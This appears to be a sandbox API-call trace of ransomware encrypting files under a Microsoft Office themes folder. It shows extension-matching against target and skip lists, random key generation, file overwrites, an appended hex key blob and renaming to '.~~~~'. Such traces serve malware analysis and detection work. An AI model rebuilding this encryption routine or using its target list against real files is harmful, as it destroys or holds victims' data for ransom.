	[0083.611] lstrlenW (lpString=".bak") returned 4
	[0083.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0083.611] lstrlenW (lpString=".myd") returned 4
	[0083.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0083.612] lstrlenW (lpString=".DTXS") returned 5
	[0083.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0083.612] lstrlenW (lpString=".ckp") returned 4
	[0083.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0083.612] lstrlenW (lpString=".dbt") returned 4
	[0083.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0083.612] lstrlenW (lpString=".db") returned 3
	[0083.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0083.612] lstrlenW (lpString=".TXT") returned 4
	[0083.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0083.612] lstrlenW (lpString=".MDF") returned 4
	[0083.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0083.612] lstrlenW (lpString=".bdb") returned 4
	[0083.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0083.612] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0083.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.612] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0083.613] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.613] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0083.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0083.613] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20360333101) returned 1
	[0083.613] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9bac2430, dwHighDateTime=0x1d60e1e)) 
	[0083.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0083.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0083.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0083.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a22f8
	[0083.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a22f8 | out: hHeap=0x300000) returned 1
	[0083.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa5b0
	[0083.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa5b0 | out: hHeap=0x300000) returned 1
	[0083.614] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0083.614] GetLastError () returned 0x0
	[0083.614] GetLastError () returned 0x0
	[0083.614] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0083.614] GetLastError () returned 0x0
	[0083.614] GetLastError () returned 0x0
	[0083.617] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff87b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.617] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x785, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x785, lpOverlapped=0x0) returned 1
	[0083.617] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0083.617] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.617] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.617] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.617] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.621] CloseHandle (hObject=0x124) returned 1
	[0083.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6698
	[0083.621] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.~~~~")) returned 1
	[0083.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6698 | out: hHeap=0x300000) returned 1
	[0083.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0083.622] GetLastError () returned 0x0
	[0083.622] RtlWakeConditionVariable () returned 0x365f70
	[0083.622] GetCurrentThreadId () returned 0x9cc
	[0083.622] GetCurrentThreadId () returned 0x9cc
	[0083.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0083.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6808 | out: hHeap=0x300000) returned 1
	[0083.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2330 | out: hHeap=0x300000) returned 1
	[0083.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6808
	[0083.623] lstrlenW (lpString=".scr") returned 4
	[0083.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0083.623] lstrlenW (lpString=".cmd") returned 4
	[0083.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0083.623] lstrlenW (lpString=".dll") returned 4
	[0083.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0083.623] lstrlenW (lpString=".bat") returned 4
	[0083.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0083.623] lstrlenW (lpString=".cpl") returned 4
	[0083.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0083.623] lstrlenW (lpString=".sys") returned 4
	[0083.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0083.623] lstrlenW (lpString=".msc") returned 4
	[0083.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0083.623] lstrlenW (lpString=".com") returned 4
	[0083.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0083.623] lstrlenW (lpString=".lnk") returned 4
	[0083.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0083.623] lstrlenW (lpString=".msp") returned 4
	[0083.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0083.623] lstrlenW (lpString=".pif") returned 4
	[0083.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0083.623] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0083.623] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0083.624] lstrlenW (lpString=".sqb") returned 4
	[0083.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0083.624] lstrlenW (lpString=".ost") returned 4
	[0083.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0083.624] lstrlenW (lpString=".txt") returned 4
	[0083.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0083.624] lstrlenW (lpString=".mdt") returned 4
	[0083.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0083.624] lstrlenW (lpString=".BDB") returned 4
	[0083.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0083.624] lstrlenW (lpString=".eql") returned 4
	[0083.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0083.624] lstrlenW (lpString=".DBF") returned 4
	[0083.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0083.624] lstrlenW (lpString=".EQL") returned 4
	[0083.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0083.624] lstrlenW (lpString=".FDB") returned 4
	[0083.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0083.625] lstrlenW (lpString=".EDB") returned 4
	[0083.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0083.625] lstrlenW (lpString=".DACPAC") returned 7
	[0083.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0083.625] lstrlenW (lpString=".VHD") returned 4
	[0083.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0083.625] lstrlenW (lpString=".DBV") returned 4
	[0083.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0083.625] lstrlenW (lpString=".dacpac") returned 7
	[0083.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0083.625] lstrlenW (lpString=".sdf") returned 4
	[0083.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0083.625] lstrlenW (lpString=".accdb") returned 6
	[0083.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0083.625] lstrlenW (lpString=".DBX") returned 4
	[0083.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0083.625] lstrlenW (lpString=".MDT") returned 4
	[0083.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0083.625] lstrlenW (lpString=".SQB") returned 4
	[0083.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0083.625] lstrlenW (lpString=".vhd") returned 4
	[0083.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0083.625] lstrlenW (lpString=".bac") returned 4
	[0083.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0083.625] lstrlenW (lpString=".mdf") returned 4
	[0083.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0083.625] lstrlenW (lpString=".BAK") returned 4
	[0083.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0083.625] lstrlenW (lpString=".BAC") returned 4
	[0083.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0083.625] lstrlenW (lpString=".dbs") returned 4
	[0083.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0083.625] lstrlenW (lpString=".vhdx") returned 5
	[0083.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0083.626] lstrlenW (lpString=".NDF") returned 4
	[0083.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0083.626] lstrlenW (lpString=".dat") returned 4
	[0083.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0083.626] lstrlenW (lpString=".DBS") returned 4
	[0083.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0083.626] lstrlenW (lpString=".CKP") returned 4
	[0083.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0083.626] lstrlenW (lpString=".edb") returned 4
	[0083.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0083.626] lstrlenW (lpString=".PST") returned 4
	[0083.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0083.626] lstrlenW (lpString=".dbf") returned 4
	[0083.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0083.626] lstrlenW (lpString=".SQL") returned 4
	[0083.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0083.626] lstrlenW (lpString=".pst") returned 4
	[0083.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0083.626] lstrlenW (lpString=".dbv") returned 4
	[0083.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0083.626] lstrlenW (lpString=".SDF") returned 4
	[0083.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0083.626] lstrlenW (lpString=".dtxs") returned 5
	[0083.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0083.626] lstrlenW (lpString=".db3") returned 4
	[0083.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0083.626] lstrlenW (lpString=".OST") returned 4
	[0083.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0083.627] lstrlenW (lpString=".dbx") returned 4
	[0083.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0083.627] lstrlenW (lpString=".DB3") returned 4
	[0083.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0083.627] lstrlenW (lpString=".DAT") returned 4
	[0083.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0083.627] lstrlenW (lpString=".VHDX") returned 5
	[0083.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0083.627] lstrlenW (lpString=".ndf") returned 4
	[0083.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0083.627] lstrlenW (lpString=".DB") returned 3
	[0083.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0083.627] lstrlenW (lpString=".sql") returned 4
	[0083.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0083.627] lstrlenW (lpString=".MYD") returned 4
	[0083.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0083.627] lstrlenW (lpString=".DBT") returned 4
	[0083.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0083.627] lstrlenW (lpString=".ACCDB") returned 6
	[0083.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0083.627] lstrlenW (lpString=".fdb") returned 4
	[0083.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0083.627] lstrlenW (lpString=".bak") returned 4
	[0083.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0083.627] lstrlenW (lpString=".myd") returned 4
	[0083.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0083.627] lstrlenW (lpString=".DTXS") returned 5
	[0083.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0083.627] lstrlenW (lpString=".ckp") returned 4
	[0083.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0083.628] lstrlenW (lpString=".dbt") returned 4
	[0083.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0083.628] lstrlenW (lpString=".db") returned 3
	[0083.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0083.628] lstrlenW (lpString=".TXT") returned 4
	[0083.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0083.628] lstrlenW (lpString=".MDF") returned 4
	[0083.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0083.628] lstrlenW (lpString=".bdb") returned 4
	[0083.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0083.628] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0083.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.628] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0083.629] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.629] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0083.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
